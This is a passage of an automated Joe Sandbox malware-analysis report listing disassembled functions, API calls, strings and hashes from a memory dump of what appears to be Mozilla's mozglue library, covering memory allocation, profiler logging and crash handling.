Part of subcall function 6C7CAB89: EnterCriticalSection.KERNEL32(6C81E370,?,?,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB94
Part of subcall function 6C7CAB89: LeaveCriticalSection.KERNEL32(6C81E370,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C7A97B7
FreeLibrary.KERNEL32 ref: 6C7A97D0
FreeLibrary.KERNEL32 ref: 6C7A97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C7A9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C7A9670
ntdll.dll, xrefs: 6C7A96E3
NtMapViewOfSection, xrefs: 6C7A9701
MapViewOfFileNuma2, xrefs: 6C7A97B1

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 3afa18586eaba835a8cb8e2d542dcf5a08de4a1fadde65bf19af3d474b71bcc1
Instruction ID: 5269ea4fbd53356dfd8f57e232d3a5588fc57067972b460e7107073ecf6c8e7f
Opcode Fuzzy Hash: 3afa18586eaba835a8cb8e2d542dcf5a08de4a1fadde65bf19af3d474b71bcc1
Instruction Fuzzy Hash: 20418EB07042469BDF20CFA4DA89A9677F4EB6A328F004A38FD1587F40D730A815CBE1

Function 6C791E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C81E784), ref: 6C791EC1
LeaveCriticalSection.KERNEL32(6C81E784), ref: 6C791EE1
EnterCriticalSection.KERNEL32(6C81E744), ref: 6C791F38
LeaveCriticalSection.KERNEL32(6C81E744), ref: 6C791F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C791F83
LeaveCriticalSection.KERNEL32(6C81E784), ref: 6C791FC0
EnterCriticalSection.KERNEL32(6C81E784), ref: 6C791FE2
LeaveCriticalSection.KERNEL32(6C81E784), ref: 6C791FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C792019

Strings

MOZ_CRASH(), xrefs: 6C792000

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: a5e50e9e27c1e03915e09155dfc3c6a0a1c2bbf7df898bfa2bb7a8365d32f9a5
Instruction ID: 91c8a65df470d5b44ee7e15edf371fe360c5e2ce57a0f41cb257ba299b7634aa
Opcode Fuzzy Hash: a5e50e9e27c1e03915e09155dfc3c6a0a1c2bbf7df898bfa2bb7a8365d32f9a5
Instruction Fuzzy Hash: 3C41A3B1B0521B8FEB209FA8DA8DB6A3AF5EB4A348F040439E91597F41D7719804CBD1

Function 6C7A7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7A7EA7
malloc.MOZGLUE(00000001), ref: 6C7A7EB3

Part of subcall function 6C7ACAB0: EnterCriticalSection.KERNEL32(?), ref: 6C7ACB49
Part of subcall function 6C7ACAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C7ACBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C7A7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C7A7F19
malloc.MOZGLUE(?), ref: 6C7A7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7A7F4D

Strings

d, xrefs: 6C7A7F89

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: e3e1f6ff5b196cea1dfcc6692430fd62e9c96408668ec85b9993064d3da83bb7
Instruction ID: 813e90b7c6491e6a3431cb1bf7ae046c3bb32667672016e2e596edca5005d6ba
Opcode Fuzzy Hash: e3e1f6ff5b196cea1dfcc6692430fd62e9c96408668ec85b9993064d3da83bb7
Instruction Fuzzy Hash: D231C461F002499BDB109B68CD095BEB7B8EF96208F059739EC4957612EB31B689C391

Function 6C7A3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C7A3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C7A3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C7A4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C7A40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C7A3CCC), ref: 6C7A40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C7A3CCC), ref: 6C7A40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C7A4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C7A3CCC), ref: 6C7A4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C7A3CCC), ref: 6C7A4157

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 1e776c4786d7bec3a09d2326e2341cee1a4d82103bf8e57a08c65455e9928120
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 85A182B1A00205CFDB50CF69C98065AB7B5FF48304F2546A9D9099F742D772E846DFA0

Function 6C792030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C7B3F47,?,?,?,6C7B3F47,6C7B1A70,?), ref: 6C79207F
memset.VCRUNTIME140(?,000000E5,6C7B3F47,?,6C7B3F47,6C7B1A70,?), ref: 6C7920DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C7B3F47,6C7B1A70,?), ref: 6C79211A
EnterCriticalSection.KERNEL32(6C81E744,?,6C7B3F47,6C7B1A70,?), ref: 6C792145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C7B3F47,6C7B1A70,?), ref: 6C7921BA
EnterCriticalSection.KERNEL32(6C81E744,?,6C7B3F47,6C7B1A70,?), ref: 6C7921E0
LeaveCriticalSection.KERNEL32(6C81E744,?,6C7B3F47,6C7B1A70,?), ref: 6C792232

Strings

MOZ_CRASH(), xrefs: 6C79227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C792253, 6C792268

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 7613a0c6b995fdde78b2c16c5f486d07db460d0b8fd6fd3c0ef65742cc6046e7
Instruction ID: ad8e5daf59103e670fc63bc2ab1a58ca3416bd29a5485e7876a08150a99047a8
Opcode Fuzzy Hash: 7613a0c6b995fdde78b2c16c5f486d07db460d0b8fd6fd3c0ef65742cc6046e7
Instruction Fuzzy Hash: 8F61E131F002168FDB14EFA8DA8DB6E77B5AF85358F294639E524A7F94D7309800C791

Function 6C7E9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C7E8273), ref: 6C7E9D65
free.MOZGLUE(6C7E8273,?), ref: 6C7E9D7C
free.MOZGLUE(?,?), ref: 6C7E9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C7E9E0F
free.MOZGLUE(6C7E946B,?,?), ref: 6C7E9E24
free.MOZGLUE(?,?,?), ref: 6C7E9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C7E9EC8
free.MOZGLUE(6C7E946B,?,?,?), ref: 6C7E9EDF
free.MOZGLUE(?,?,?,?), ref: 6C7E9EF5

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 16d8a759fb3d30c58bb252be392927a4d0961ae94e4520fd79334bcdecf60004
Instruction ID: 65a57885e2bf40bcf5127c0f9e93634c2fd9ecfb58726c1894b816052bc6b298
Opcode Fuzzy Hash: 16d8a759fb3d30c58bb252be392927a4d0961ae94e4520fd79334bcdecf60004
Instruction Fuzzy Hash: 9471B072909B419BC712CF18D64059BF3F9FFA9314B448619E95A5BB01EB30F885CBC1

Function 6C7EDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C7EDDCF

Part of subcall function 6C7CFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7CFA4B

Part of subcall function 6C7E90E0: free.MOZGLUE(?,00000000,?,?,6C7EDEDB), ref: 6C7E90FF
Part of subcall function 6C7E90E0: free.MOZGLUE(?,00000000,?,?,6C7EDEDB), ref: 6C7E9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7EDE0D
free.MOZGLUE(00000000), ref: 6C7EDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7EDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7EDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7EDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C7DDEFD,?,6C7A4A68), ref: 6C7EDF32

Part of subcall function 6C7EDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C7EDB86
Part of subcall function 6C7EDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C7EDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C7DDEFD,?,6C7A4A68), ref: 6C7EDF65
free.MOZGLUE(?), ref: 6C7EDF80

Part of subcall function 6C7B5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7B5EDB
Part of subcall function 6C7B5E90: memset.VCRUNTIME140(6C7F7765,000000E5,55CCCCCC), ref: 6C7B5F27
Part of subcall function 6C7B5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C7B5FB2

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: fb05569388eaffbb3f80310cc3f7cd8f03c607b7fa1084dfa2050c87f2120ef3
Instruction ID: d7a9d308d690662bb5c6fc289e0ffc79a18f5098d11f3b6ace9a55b2095a1597
Opcode Fuzzy Hash: fb05569388eaffbb3f80310cc3f7cd8f03c607b7fa1084dfa2050c87f2120ef3
Instruction Fuzzy Hash: BC51C7736016019BD721CB28DA886AE73BABFE9308F95053CD81A57B01D731F919CBC6

Function 6C7F5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C7F5C8C,?,6C7CE829), ref: 6C7F5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C7F5C8C,?,6C7CE829), ref: 6C7F5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C7F5C8C,?,6C7CE829), ref: 6C7F5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C7F5C8C,?,6C7CE829), ref: 6C7F5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C7F5C8C,?,6C7CE829), ref: 6C7F5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C7F5C8C,?,6C7CE829), ref: 6C7F5DC9
std::_Facet_Register.LIBCPMT ref: 6C7F5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C7F5C8C,?,6C7CE829), ref: 6C7F5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C7F5C8C,?,6C7CE829), ref: 6C7F5E45

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 1f608718859e4ff797bcca2071656c297c93821aa4db79a03c5fa8bc1161ce2b
Instruction ID: d60cddcca65b78fc476f789b066540c2b63bf210f53e75a632141ce8960edcbd
Opcode Fuzzy Hash: 1f608718859e4ff797bcca2071656c297c93821aa4db79a03c5fa8bc1161ce2b
Instruction Fuzzy Hash: D641AF707002058FCB14DF68D9DDAAE7BF9EF49318F148078E5169B781DB34A806CBA1

Function 6C7CCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C7931A7), ref: 6C7CCDDD

Strings

<jemalloc>, xrefs: 6C7CCF9F, 6C7CCFB3
: (malloc) Error in VirtualFree(), xrefs: 6C7CCFA4, 6C7CCFB8

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: ab81a1c8ba253959546d7294857d48dfdef450c4419de86cad0d8596662ee24c
Instruction ID: f4adcf3290d588cc5a7ed6af92f837f182db086d5ac74fd77b58d92f36e97348
Opcode Fuzzy Hash: ab81a1c8ba253959546d7294857d48dfdef450c4419de86cad0d8596662ee24c
Instruction Fuzzy Hash: 7131C5717442075FFB20AFA58E46B6E7BB9AB46719F204425F615ABF80DB70D400C7A2

Function 6C79ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C79F100: LoadLibraryW.KERNEL32(shell32,?,6C80D020), ref: 6C79F122
Part of subcall function 6C79F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C79F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C79ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C79EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C79EDCC
CreateFileW.KERNEL32 ref: 6C79EE08
free.MOZGLUE(00000000), ref: 6C79EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C79EE32

Part of subcall function 6C79EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C79EBB5
Part of subcall function 6C79EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C7CD7F3), ref: 6C79EBC3
Part of subcall function 6C79EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C7CD7F3), ref: 6C79EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C79EDC1

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: d6e7f2c5a1aeab7e0f7ed30072f12fe9a76d14928cbfabf65d7f36aefc8de929
Instruction ID: 50c31f3393f362f786a012bcf253bd3a2a7a0899403b7b3d8c6e1898bc50e407
Opcode Fuzzy Hash: d6e7f2c5a1aeab7e0f7ed30072f12fe9a76d14928cbfabf65d7f36aefc8de929
Instruction Fuzzy Hash: 3C51D471D052088BEB10DF68EA497EEB7B4BF55318F04852DE85567740E7316948C7E2

Function 6C80A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C80A565

Part of subcall function 6C80A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C80A4BE
Part of subcall function 6C80A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C80A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C80A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C80A6B6

Strings

z, xrefs: 6C80A6AE
0, xrefs: 6C80A5FB

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 26be795e0c22d0b95412beb9658b0cb5452fab12818ce3634a4023984d81b405
Instruction ID: a832407c6d264255c25194fd896d6199c0d87534bd9b78d8708d78ca67d07413
Opcode Fuzzy Hash: 26be795e0c22d0b95412beb9658b0cb5452fab12818ce3634a4023984d81b405
Instruction Fuzzy Hash: 11411871A097459FC351DF28C580A8BBBF5BF89354F408A2EF4A987650E730D949CB93

Function 6C7D9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C7CAB89: EnterCriticalSection.KERNEL32(6C81E370,?,?,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB94
Part of subcall function 6C7CAB89: LeaveCriticalSection.KERNEL32(6C81E370,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
__Init_thread_footer.LIBCMT ref: 6C7D949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C7D947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C7D9459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C7D946B

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 2e4d08df97d1fe432e9e4d8592595147e4980982228e07f55db41d4c5dcf7386
Instruction ID: 9fa738fdf514ce1ca97ca7e4b0b52bc608cd17f691886878a9b60e6bc17fad7b
Opcode Fuzzy Hash: 2e4d08df97d1fe432e9e4d8592595147e4980982228e07f55db41d4c5dcf7386
Instruction Fuzzy Hash: CD01D870A041038FE720DB9DEB26A4733F59B2632EF054937E91E87F42DA21E554C997

Function 6C7E0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7E0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7E0F88
GetCurrentThreadId.KERNEL32 ref: 6C7E0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C7E1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C7E10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C7E114B

Part of subcall function 6C7D8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C7F1563), ref: 6C7D8BD5

free.MOZGLUE(?), ref: 6C7E1174
free.MOZGLUE(?), ref: 6C7E1186

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
